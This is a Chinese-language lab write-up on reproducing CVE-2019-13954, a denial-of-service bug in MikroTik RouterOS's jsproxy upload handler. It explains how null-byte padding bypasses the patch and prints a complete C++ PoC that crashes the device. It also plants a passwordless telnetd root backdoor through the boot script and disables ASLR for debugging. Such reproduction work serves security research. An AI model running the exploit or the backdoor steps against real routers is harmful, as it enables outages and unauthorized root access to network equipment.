暂无简介
MikroTik RouterOS-CVE-2019-13954漏洞复现
产品描述:
MikroTik RouterOS是一种路由操作系统,并通过该软件将标准的PC电脑变成专业路由器,软件经历了多次更新和改进,其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的表现,其极高的性价比,受到许多网络人士的青睐。RouterOS具备现有路由系统的大部分功能,能针对网吧、企业、小型ISP接入商、社区等网络设备的接入,基于标准的x86构架。
漏洞利用分析:
漏洞描述
CVE-2019-13954
是MikroTik RouterOS
中存在的一个memory exhaustion
漏洞。认证的用户通过构造并发送一个特殊的POST
请求,服务程序在处理POST
请求时会陷入”死”循环,造成memory exhaustion
,导致对应的服务程序崩溃或者系统重启。
漏洞原理
根据漏洞公告中提到的"/jsproxy/upload"
,在6.42.11
版本中:
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
//...
while ( 1 )
{
sub_51F7(v37, &s1); //读取POST请求
if ( !s1 )
break;
v14 = -1;
v15 = &s1;
do
{
if ( !v14 )
break;
v16 = *v15++ == 0;
--v14;
}
while ( !v16 );
if ( v14 != 0x100u )//数据长度限制
{
v36 = 0;
string::string((string *)&v46, &s1);
v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
string::freeptr((string *)&v46);
if ( v17 )
continue;
}
string::string((string *)&v46, "");
Response::sendError(a4, 400, (const string *)&v46);
string::freeptr((string *)&v46);
LABEL_60:
tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>);
goto LABEL_61;
}
//...
}
相较于之前版本6.40.5,增加了对读取的POST请求数据长度的判断:当长度超过0x100
(包括最后的'\x00'
)时,会跳出while循环。
6.40.5版本:
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
// ...
while ( 1 )
{
sub_77464E9F(v27, (char *)s1); // 读取POST请求数据
if ( !LOBYTE(s1[0]) )
break;
string::string((string *)&v36, (const char *)s1);
v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);
string::freeptr((string *)&v36);
if ( !v11 )
{
string::string((string *)&v36, "");
Response::sendError(a4, 400, (const string *)&v36);
string::freeptr((string *)&v36);
LABEL_56:
tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);
goto LABEL_57;
}
}
// ...
}
看到sub_51F7
函数:
char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
const char *v2; // esi
char *result; // eax
unsigned int v4; // ecx
v2 = a2;
istream::getline(a1, a2, 0x100u, 10);
result = 0;
v4 = strlen(v2) + 1;
if ( v4 != 1 )
{
result = (char *)&v2[v4 - 2];
if ( *result == 13 )
*result = 0;
}
return result;
}
对于补丁前来讲,我们要让程序一直循环有两个条件
- 调用
sub_51F7
,未读取到数据 - 调用
Headers::parseHeaderLine()
,解析失败
其中第一个很好满足,只需要有输入即可。至于第二个条件hederline解析失败,从POC来看可以大概推断出,由于getline没有接到换行,会认为io失败,输入流关闭,此时调用相当于直接返回。而headerline解析由于没有接收到换行就会一直解析导致循环不能退出。
而在补丁后增加了对字符长度的判断,察觉到输入大于0x100字节就会直接退出循环。
正常getline是以回车,\0
截止。
遇到
\0
直接截止。遇到回车截止然后把回车替换成
\0
因此代码是以读到\0
来判断数组长度,若在读到\0
之前大于了0x100个字节,就直接退出循环了。因此我们可以直接在payload里加入\0
,就能绕过这个判断。
但是问题来了,如果我们在payload里加入了\0
,getline直接截止了,我们就不能让数组长度大于0x100,那么最基础的触发条件都没了。
不过输入多个\0
会让getline识别成\\
字符。那这样就不存在截止的问题了,而且可以绕过补丁判断,同时数组大小大于0x100。
因此,只需要在filename
参数后面追加大量的'\x00'
,即可绕过补丁,再次触发该漏洞。
POC
#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include "jsproxy_session.hpp"
#include "winbox_message.hpp"
namespace
{
const char s_version[] = "CVE-2019-13954 PoC 1.1.0";
bool parseCommandLine(int p_argCount, const char* p_argArray[],
std::string& p_username, std::string& p_password,
std::string& p_ip, std::string& p_port)
{
boost::program_options::options_description description("options");
description.add_options()
("help,h", "A list of command line options")
("version,v", "Display version information")
("username,u", boost::program_options::value<std::string>(), "The user to log in as")
("password", boost::program_options::value<std::string>(), "The password to log in with")
("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to")
("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");
boost::program_options::variables_map argv_map;
try
{
boost::program_options::store(
boost::program_options::parse_command_line(
p_argCount, p_argArray, description), argv_map);
}
catch (const std::exception& e)
{
std::cerr << e.what() << "\n" << std::endl;
std::cerr << description << std::endl;
return false;
}
boost::program_options::notify(argv_map);
if (argv_map.empty() || argv_map.count("help"))
{
std::cerr << description << std::endl;
return false;
}
if (argv_map.count("version"))
{
std::cerr << "Version: " << ::s_version << std::endl;
return false;
}
if (argv_map.count("username") && argv_map.count("ip") &
argv_map.count("port"))
{
p_username.assign(argv_map["username"].as<std::string>());
p_ip.assign(argv_map["ip"].as<std::string>());
p_port.assign(argv_map["port"].as<std::string>());
if (argv_map.count("password"))
{
p_password.assign(argv_map["password"].as<std::string>());
}
else
{
p_password.assign("");
}
return true;
}
else
{
std::cerr << description << std::endl;
}
return false;
}
}
int main(int p_argc, const char** p_argv)
{
std::string username;
std::string password;
std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
{
return EXIT_FAILURE;
}
JSProxySession jsSession(ip, port);
if (!jsSession.connect())
{
std::cerr << "Failed to connect to the remote host" << std::endl;
return EXIT_FAILURE;
}
// generate the session key but don't log in
if (!jsSession.negotiateEncryption(username, password, false))
{
std::cerr << "Encryption negotiation failed." << std::endl;
return EXIT_FAILURE;
}
std::string filename;
for (int i = 0; i < 0x50; i++)
{
filename.push_back('A');
}
for (int i = 0; i < 0x100; i++)
{
filename.push_back('\x00');
}
if (jsSession.uploadFile(filename, "lol."))
{
std::cout << "success!" << std::endl;
}
return EXIT_SUCCESS;
}
环境搭建&漏洞复现:
RouterOS环境搭建
CVE-2019-13954可在系统版本6.42.11验证
MikroTik RouterOS镜像下载地址:https://mikrotik.com/download
利用VMware虚拟机安装镜像,按a,选择所有,然后i安装,后续都默认y就行
安装成功后进入登陆页面,用户名是admin,密码为空
虚拟机修改为NAT模式,和ubuntu在同一子网下
虚拟机获取ip
ip dhcp-client add interface=ether disabled=no
查看虚拟机获取的ip
ip dhcp-client print detail
获取完整shell
文件下载
搭建起仿真环境后,由于RouterOS
自带的命令行界面比较受限,只能执行特定的命令,不便于后续进一步的分析和调试,因此还需要想办法获取设备的root shell
。
我们需要下载busybox(用于开root后门)、gdbserver.i686(远程调试)
busybox:wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
除了busybox,我们还可以通过https://github.com/tenable/routeros下的`cleaner_wrasse`利用漏洞开启后门
gdbserver.i686下载地址:https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686
硬盘挂载
这里我们使用ubuntu挂载routeros的磁盘,在ubuntu的虚拟机设置中添加routeros的硬盘,此时需要将routeros关机。
挂载完成后,使用命令行访问挂载磁盘,将busybox和gdbserver复制到/rw/disk
并赋予权限777
在/rw目录下编写一个DEFCONF脚本,用来使RouterOS开机运行后门,RouterOS每次开机都会运行DEFCONF这个文件,但是重启之后会失效。我们可以在设置完成后开启快照。
ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;
此时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了
telnet ip port
漏洞文件获取
在通过后门登陆后,查看www和jsproxy.p所在的位置
find / -name www
find / -name jsproxy.p
这里可以通过工具Chimay-Red从官网上提取6.42.11版本的www、jsproxy.p
./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1
./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2
编译生成POC
下载地址:https://github.com/tenable/routeros
依赖环境:
- Boost 1.66 or higher
- cmake
安装Boost:
Ubuntu:
sudo apt-get install libboost-dev
需要提醒的是gcc版本需要高于6,否则会导致编译失败
编译生成cve_2019_13954
的poc
cd cve_2019_13954
mkdir build
cd build
cmake ..
make
编译成功后即可使用,使用方式
这里我们使用:
./cve_2019_13954_poc -i 192.168.111.17 -u admin
漏洞验证
与该漏洞相关的程序为www
,在设备上利用gdbserver
附加到该进程进行远程调试,然后运行对应的PoC
脚本,发现系统直接重启。
在调试验证的过程中注意Linux默认开启了ASLR保护机制(操作系统用来抵御缓冲区溢出攻击的内存保护机制),为了方便找地址,关掉ASLR
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
通过后门busybox登陆routeros,查看www的进程pid后,开启gdbserver附加www:
./gdbserver.i686 localhost:1234 --attach 267
此时在ubuntu上开启gdb,准备调试,设置架构为i386,目标主机为192.168.0.113,端口为1234
gdb
set architecture i386
target remote 192.168.111.17:1234
同时本地运行POC,info proc mappings
查看当前已经加载的模块,可以看到jsproxy已经加载进来了
./cve_2019_13954_poc -i 192.168.111.17 -u admin
在ida中找到要断点的函数的偏移地址,从doUpload函数断点,偏移量为8D08
那么我们将mappings中jsproxy的基地址加上偏移地址就ok了,对其断点
b *0x774f9000+0x8D08
c一下发现系统直接重启了
参考资源:
https://www.anquanke.com/post/id/254635#h3-8
https://github.com/BigNerd95/Chimay-Red
https://github.com/tenable/routeros
https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1
https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6
https://github.com/cq674350529/pocs_slides/tree/master/advisory/MikroTik
- 本文作者: snakin
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11541
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!